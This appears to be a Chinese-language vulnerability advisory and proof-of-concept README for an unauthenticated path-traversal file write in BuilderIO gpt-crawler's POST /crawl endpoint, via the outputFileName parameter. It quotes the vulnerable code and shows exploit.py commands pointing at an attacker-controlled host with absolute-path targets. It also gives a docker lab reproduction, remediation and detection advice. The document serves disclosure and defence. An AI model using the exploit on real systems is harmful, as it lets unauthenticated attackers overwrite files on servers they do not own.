针对 BuilderIO/gpt-crawler(约 22k ★)中未认证任意文件写入漏洞的概念验证,攻击向量为 POST /crawl API 端点的 outputFileName 参数。
| CVE | CVE-2026-82286 |
| 产品 | gpt-crawler (BuilderIO) |
| 受影响版本 | <= 1.5.1(最新发布版;默认分支 HEAD 同样受影响) |
| 漏洞类型 | 路径遍历 / 任意文件写入(CWE-22、CWE-73) |
| CVSS 3.1 | 8.6 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L(高危) |
| 认证 | 无(未认证) |
| 前置条件 | 以 API 服务器模式运行(npm run start:server) |
| 状态 | 已确认 端到端验证(截至 2026-08-29 未修复) |
API 服务器(src/server.ts)暴露了 POST /crawl 端点且无任何认证。JSON 请求体被直接解析为爬虫的 Config;outputFileName 仅通过 z.string() 进行校验——没有任何路径约束:
// src/config.ts
outputFileName: z.string(),
在 src/core.ts 中,write() 直接根据该攻击者可控的字符串构建输出路径,并对其调用 fs.writeFile():
// src/core.ts (write)
const nextFileName = (): string =>
`${config.outputFileName.replace(/\.json$/, "")}-${fileCounter}.json`;
...
await writeFile(nextFileNameString, JSON.stringify(currentResults, null, 2));
因此,远程未认证攻击者可以控制写入预期 storage/ 输出区域之外文件的完整路径——通过绝对路径(/tmp/x、/home/<user>/x)或 ../ 遍历。文件内容为爬取结果 [{title,url,html}],其字段来自攻击者让爬虫访问的页面(将 url 设置为攻击者控制的服务器),因此内容也受攻击者影响。
唯一的限制是强制添加的 -<N>.json 后缀(文件名始终以 .json 结尾)以及 JSON 数组内容包装——这也是该漏洞被评分为任意文件写入(I:H)而非直接 RCE 的原因。
python3 exploit.py \
-t http://TARGET:3000 \
-u http://ATTACKER:8081/index.html \ # 页面内容将写入目标文件
-o /home/myuser/PWNED # -> 写入 /home/myuser/PWNED-1.json
该端点会在 HTTP 响应中回显所写入文件的内容。经验性证据是文件出现在目标文件系统上攻击者选择的路径(参见 EVIDENCE.txt)。
cd lab && ./run.sh
python3 ../exploit.py -t http://127.0.0.1:3000 -u http://127.0.0.1:8081/index.html -o /tmp/PWNED
docker exec gptc-vuln cat /tmp/PWNED-1.json # <- 写入 storage/ 之外,未认证
清理:docker rm -f gptc-vuln; pkill -f 'http.server 8081'。
未认证的网络攻击者可以在任意路径创建或覆盖文件(受进程用户权限和 -<N>.json 后缀限制),且内容部分受攻击者控制。根据部署方式的不同,这可能实现篡改配置/数据文件、破坏应用状态(完整性/可用性),并且在目标后续会消费所写入的 *.json 文件的情况下,可进一步利用。
该漏洞点仅在 API 服务器模式下可达(src/server.ts,通过 npm run start:server / containerapp 部署启动),而非默认的 CLI 模式。服务器绑定 API_HOST(默认 localhost);实际部署中暴露 API 时会将其设置为 0.0.0.0(如 containerapp 镜像所做),从而使该端点可远程访问。
outputFileName 解析到固定基础目录,并拒绝任何逃逸该目录的结果(path.resolve(base, name) + 前缀检查);剥离 .. 和绝对路径。POST /crawl 添加认证/授权机制。查找 POST /crawl 请求体中包含 /、\ 或 .. 的 outputFileName,以及出现在爬虫 storage/ 目录之外的 *-1.json 文件。
研究与 PoC:Caio Fabrício (BiiTts)。